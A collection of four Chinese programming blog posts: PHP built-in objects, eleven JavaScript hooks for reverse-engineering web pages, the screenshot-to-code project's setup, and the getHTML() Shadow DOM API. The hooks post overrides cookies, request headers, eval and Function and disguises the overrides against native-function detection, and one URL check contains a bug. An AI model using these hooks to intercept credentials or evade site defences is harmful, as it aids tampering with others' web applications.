等函数相比,面向对象的方式更易于维护和扩展。 一个典型的例子:你需要遍历一个目录下的所有文件,SplFileInfo 可以让你轻松实现,避免了繁琐的循环和错误处理。 三、与数据库操作相关的对象 PDO (PHP Data Objects) 是连接数据库的标准接口。虽然它并非像 $_GET 那样可以直接使用,但它提供了访问各种数据库的统一方式。 使用 PDO 的好处在于,它帮你屏蔽了不同数据库之间的差异,让你只需关注 SQL 语句本身,而不用担心数据库连接细节。 但 PDO 的使用也有一些坑,比如参数绑定一定要做好,否则很容易造成 SQL 注入。 四、与异常处理相关的对象 Exception 及其子类,是处理程序错误的基石。抛出异常,优雅地处理错误,是写出健壮程序的关键。 别总是用 die() 或 exit() 来结束程序,学会使用异常处理,能让你的程序更易于调试和维护。 一个小例子,感受一下 SplFileInfo 的魅力: <?php $directory = new \RecursiveDirectoryIterator('./my_directory'); $iterator = new \RecursiveIteratorIterator($directory); foreach ($iterator as $file) { if ($file->isDir()) { echo "Directory: " . $file->getPathname() . PHP_EOL; } elseif ($file->isFile()) { echo "File: " . $file->getPathname() . " (" . $file->getSize() . " bytes)" . PHP_EOL; } } ?>这段代码简洁地遍历了一个目录及其子目录下的所有文件和目录,并打印出文件名和大小。 如果没有 SplFileInfo 和 RecursiveIteratorIterator,你得写一大堆代码来实现同样的功能。 最后,我想说,深入理解 PHP 内置对象,不仅能让你写出更优雅的代码,还能提升你的编程水平。它们是 PHP 运行时的核心组成部分,理解它们的工作机制,才能真正驾驭这门语言。 别只是停留在表面,去探索它们的内部细节,你会发现更多惊喜。
-
JavaScript逆向时,常用的11个hook 在逆向分析JavaScript代码时,开发者经常使用一些用于hook(钩子)的技术来监视或修改程序的行为。以下是一些常用的hook技术及其示例代码。 01、dom操作 在JS逆向油猴脚本中,DOM操作是最常用的一种Hook方式。通过修改DOM元素的属性和样式,我们可以实现对网页的控制和修改。 // 修改DOM元素的属性 document.getElementById('elementId').setAttribute('attrName', 'attrValue'); // 修改DOM元素的样式 document.getElementById('elementId').style.property = 'value';02、Cookie操作 Cookie Hook 用于定位 Cookie 中关键参数生成位置,以下代码演示了当 Cookie 中匹配到了 \_\_dfp 关键字, 则插入断点: (function () { 'use strict'; var cookieTemp = ''; Object.defineProperty(document, 'cookie', { set: function (val) { if (val.indexOf('__dfp') != -1) { debugger; } console.log('Hook捕获到cookie设置->', val); cookieTemp = val; return val; }, get: function () { return cookieTemp; }, }); })(); (function () { 'use strict'; var org = document.cookie.__lookupSetter__('cookie'); document.__defineSetter__('cookie', function (cookie) { if (cookie.indexOf('__dfp') != -1) { debugger; } org = cookie; }); document.__defineGetter__('cookie', function () { return org; }); })();03、事件监听操作 事件监听也是JS逆向油猴脚本中常用的一种Hook方式。通过监听网页上的事件,我们可以触发自定义的操作和行为。 // 监听按钮点击事件 document.getElementById('buttonId').addEventListener('click', function() { // 自定义操作和行为 });04、AJAX拦截操作 AJAX拦截也是JS逆向油猴脚本中常用的一种Hook方式。通过拦截网页上的AJAX请求,我们可以实现对数据的控制和修改。 // 拦截AJAX请求 XMLHttpRequest.prototype._send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function() { // 自定义操作和行为 this._send.apply(this, arguments); };05、函数替换操作 函数替换也是JS逆向油猴脚本中常用的一种Hook方式。通过替换网页上的函数,我们可以实现对函数的控制和修改。 // 替换原有函数 var originalFunction = window.functionName; window.functionName = function() { // 自定义操作和行为 originalFunction.apply(this, arguments); };06、Header操作 Header Hook 用于定位 Header 中关键参数生成位置,以下代码演示了当 Header 中包含 Authorization 关键字时,则插入断点: (function () { var org = window.XMLHttpRequest.prototype.setRequestHeader; window.XMLHttpRequest.prototype.setRequestHeader = function (key, value) { if (key == 'Authorization') { debugger; } return org.apply(this, arguments); }; })()07、URL操作 URL Hook 用于定位请求 URL 中关键参数生成位置,以下代码演示了当请求的 URL 里包含 login 关键字时,则插入断点: (function () { var open = window.XMLHttpRequest.prototype.open; window.XMLHttpRequest.prototype.open = function (method, url, async) { if (url.indexOf("login") != 1) { debugger; } return open.apply(this, arguments); }; })();08、JSON.stringify操作 JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串,在某些站点的加密过程中可能会遇到,以下代码演示了遇到 JSON.stringify() 时,则插入断点: (function() { var stringify = JSON.stringify; JSON.stringify = function(params) { console.log("Hook JSON.stringify ——> ", params); debugger; return stringify(params); } })();09、JSON.parse操作 JSON.parse() 方法用于将一个 JSON 字符串转换为对象,在某些站点的加密过程中可能会遇到,以下代码演示了遇到 JSON.parse() 时,则插入断点: (function() { var parse = JSON.parse; JSON.parse = function(params) { console.log("Hook JSON.parse ——> ", params); debugger; return parse(params); } })();10、eval操作 JavaScript eval() 函数的作用是计算 JavaScript 字符串,并把它作为 脚本代码来执行。如果参数是一个表达式,eval() 函数将执行表达式。如果参数是 Javascript 语句,eval() 将执行 Javascript 语句,经常被用来动态执行 JS。以下代码执行后,之后所有的 eval() 操作都会在控制台打印输出将要执行的 JS 源码: (function() { // 保存原始方法 window.__cr_eval = window.eval; // 重写 eval var myeval = function(src) { console.log(src); console.log("=============== eval end ==============="); debugger; return window.__cr_eval(src); } // 屏蔽 JS 中对原生函数 native 属性的检测 var _myeval = myeval.bind(null); _myeval.toString = window.__cr_eval.toString; Object.defineProperty(window, 'eval', { value: _myeval }); })();11、Function操作 以下代码执行后,所有的函数操作都会在控制台打印输出将要执行的 JS 源码: (function() { // 保存原始方法 window.__cr_fun = window.Function; // 重写 function var myfun = function() { var args = Array.prototype.slice.call(arguments, 0, -1).join(","), src = arguments[arguments.length - 1]; console.log(src); console.log("=============== Function end ==============="); debugger; return window.__cr_fun.apply(this, arguments); } // 屏蔽js中对原生函数native属性的检测 myfun.toString = function() { return window.__cr_fun + "" } Object.defineProperty(window, 'Function', { value: myfun }); })();本文到此结束,感谢您的阅读,祝编程愉快!
-
绝了!图片可以直接转成代码!开发是越来越简单了~~~ 平时我们浏览网站的时候,经常会遇到令人眼前一亮的网页设计,如果能够将这些设计元素或者整个页面的布局应用到自己的项目中,那该多好? 今天就就给大家介绍一个能够将截图转为代码的开源项目 screenshot-to-code。 screenshot-to-code 项目通过结合先进的 AI 技术,为开发者和设计师提供了一个从视觉设计到代码实现的高效工具,极大地简化了开发流程。 screenshot-to-code 可以把界面设计截图直接转化为 HTML、CSS 或 JavaScript 代码,这样能帮助开发者快速生成网页前端代码。无论是一个按钮、一个导航栏,还是整个页面布局都能从截图转换成实际的前端代码。 图片 screenshot-to-code支持将截图转换成 HTML、Tailwind CSS、React 和 Vue 等现代技术栈的代码 。 用户还可以输入 URL 来克隆实时网站 。 图片 现在支持 Claude Sonnet 3.5 和 GPT-4o! {iframe src="https://www.lequxiang.com.cn/view.php/5bdd13d974c3bcdf09c0f55de4c58840.mp4" height="40vh"/} {iframe src="https://www.lequxiang.com.cn/view.php/d5ec12c1432e8e9fef6d375a2f452b99.mp4" height="40vh"/} 开源地址:隐藏内容,请前往内页查看详情 官方网站:隐藏内容,请前往内页查看详情 支持的技术栈: HTML + Tailwind HTML + CSS React + Tailwind Vue + Tailwind Bootstrap Ionic + Tailwind SVG 支持的人工智能模型: Claude Sonnet 3.5 GPT-4o DALL-E 3 或 Flux Schnell(使用 Replicate)用于图像生成 此外,该项目还可以将网站的视频/录屏转换成网页,演示如下: {iframe src="https://www.lequxiang.com.cn/view.php/603a2aed15a31b1962e64eee146f299e.mp4" height="50vh"/} 安装使用 该项目使用 React/Vite 作为前端, FastAPI 作为后端。 需要 GPT-4 的 OpenAI API 密钥或 Anthropic 密钥(可选), 推荐两者都使用,以便你可以比较 Claude 和 GPT4o 的结果。 运行后端(使用 Poetry 进行包管理 - 如果你没有它,请安装 pip install poetry): cd backend echo "OPENAI_API_KEY=sk-your-key" > .env echo "ANTHROPIC_API_KEY=your-key" > .env poetry install poetry shell poetry run uvicorn main:app --reload --port 7001OpenAI API 密钥也可以通过前端的对话框设置密钥(加载前端后点击齿轮图标)。 图片 运行前端: cd frontend yarn yarn dev然后打开 http\://localhost:5173 就可以开始使用了。 图片 如果要使用其他端口,请更新 frontend/.env.local 中的 VITE\_WS\_BACKEND\_URL 配置选项。 如果你不想浪费 GPT4-Vision,你可以在模拟模式下运行后端: MOCK=true poetry run uvicorn main:app --reload --port 7001Docker 上安装 如果你已经安装了 Docker,可以使用 docker-compose 命令启动该项目: echo "OPENAI_API_KEY=sk-your-key" > .env docker-compose up -d --build接下来就可以在浏览器中打开 http://localhost:5173 使用了。 图片
-
getHTML() - 替代 innerHTML 的最佳方法 随着所有主流浏览器现已支持 getHTML() 方法,前端开发者有了一个强大的新工具来操作DOM。本文主要探讨 getHTML()的独特优势,特别是在处理Shadow DOM时的卓越表现。 getHTML()与innerHTML的异同 getHTML()和 innerHTML 的 getter 在基本功能上相似,都返回元素内部DOM树的HTML表示。但getHTML()的真正优势在于它能够包含Shadow DOM的HTML,而innerHTML则完全忽略Shadow DOM。 getHTML()的高级用法 getHTML()接受一个可选的options对象参数,通过适当的选项可以获取完整的HTML,包括Shadow DOM: const container = document.body; const host = createDiv(123); const root = attachShadowDOM(host); container.append(host); console.log(container.getHTML({ shadowRoots: [root] }));图片 这段代码会返回包含声明式Shadow Root的完整HTML: <div> <template shadowrootmode="open"> <p>Paragraph <slot>default</slot></p> </template> 123 </div>如果在浏览器中将返回的 上面的 HTML 作为新页面打开,则会再现原始 DOM 树: 图片 通常,shadow trees和slots是在自定义元素的构造函数中创建的,但为了保持上面和下面示例页面中的代码简单,这里没有创建任何自定义元素。相反,使用了两个辅助函数: // shared.js export function attach(host) { const shadowRoot = host.attachShadow({ mode: 'open' }); shadowRoot.innerHTML = '<p>Paragraph <slot>default</slot></p>'; return shadowRoot; } export function div(n) { const el = document.createElement('div'); if (n) el.innerHTML = n; return el; }div(n)创建一个新的div元素,里面包含数字n,例如<div>123</div>,而attach(host)将HTML为<p>Paragraph <slot>default</slot></p>的shadow树附加到host元素上。为了用常见情况挑战getHTML(),div中的数字123被分配到shadow DOM的slot中。 处理嵌套的Shadow DOM 在上面的页面中,getHTML()被调用时使用了所有两个可能的选项: <script type="module"> import { attach, div } from './shared.js'; const container=document.body; const host=div(123); const root=attach(host); container.append(host); console.log('>innerHTML',container.innerHTML); console.log('>getHTML',container.getHTML()); console.log('>getHTML2',container.getHTML({ serializableShadowRoots: true })); console.log('>getHTML3',container.getHTML({ shadowRoots: [root] })); </script>options对象可以有两个属性:serializableShadowRoots和shadowRoots。 当getHTML()在没有options的情况下被调用时,Shadow DOM会被忽略,就像在innerHTML中一样。 如果serializableShadowRoots为true,HTML将包括具有serializable属性设置为true的shadow roots。这样的roots通常不应该存在,因为serializable是与getHTML()一起引入的,默认情况下它是false。 要获取shadow roots的HTML,需要在shadowRoots属性中提供要序列化的shadow roots。当shadow roots是open的时候,可以很容易地递归检索网页中的所有shadow roots。在网页上下文中无法检索closed shadow roots,但可以在浏览器扩展注入的内容脚本中检索。 提供的shadow roots不一定会被序列化。在下一个示例页面中,创建了两个shadow trees。第二个shadow DOM嵌套在第一个中: <script type="module"> import { attach, div } from './shared.js'; const container=document.body; const host=div(123); const root=attach(host); container.append(host); const host2=div(456); const root2=attach(host2); container.append(host); root.append(host2); console.log('>innerHTML',container.innerHTML); console.log('>getHTML',container.getHTML()); console.log('>getHTML2',container.getHTML({ serializableShadowRoots: true })); console.log('>getHTML3',container.getHTML({ shadowRoots: [root] })); console.log('>getHTML4',container.getHTML({ shadowRoots: [root2] })); console.log('>getHTML5',container.getHTML({ shadowRoots: [root,root2] })); </script>如果第一个shadow DOM不包含在options中,getHTML()不会返回第二个shadow DOM的HTML: 要被序列化,shadow roots需要直接连接到要被序列化的DOM。如果省略了父shadow root,嵌套的shadow root也不会被序列化。 getHTML 局限性 缺少outerHTML等价物:目前还没有获取包含元素自身在内的HTML的方法。 单根元素限制:getHTML()返回的HTML如果没有单一根元素,浏览器可能无法正确解析为声明式Shadow DOM。 封闭的Shadow DOM:在网页上下文中无法获取封闭的Shadow DOM,但可以通过浏览器扩展的内容脚本来实现。 结语 getHTML()为开发者提供了一种强大的方法来处理包含Shadow DOM的复杂DOM结构。虽然它有一些限制,但在处理现代Web组件和复杂UI时,getHTML()的优势是显而易见的。随着Web组件的普及,掌握getHTML()将成为前端开发者的重要技能。 在实际开发中,getHTML()可以用于创建更精确的DOM快照、调试复杂的组件结构,以及在需要保留Shadow DOM结构的情况下序列化页面内容。随着Web标准的不断发展,我们可以期待看到更多类似getHTML()这样的强大API,进一步增强前端开发的能力和灵活性。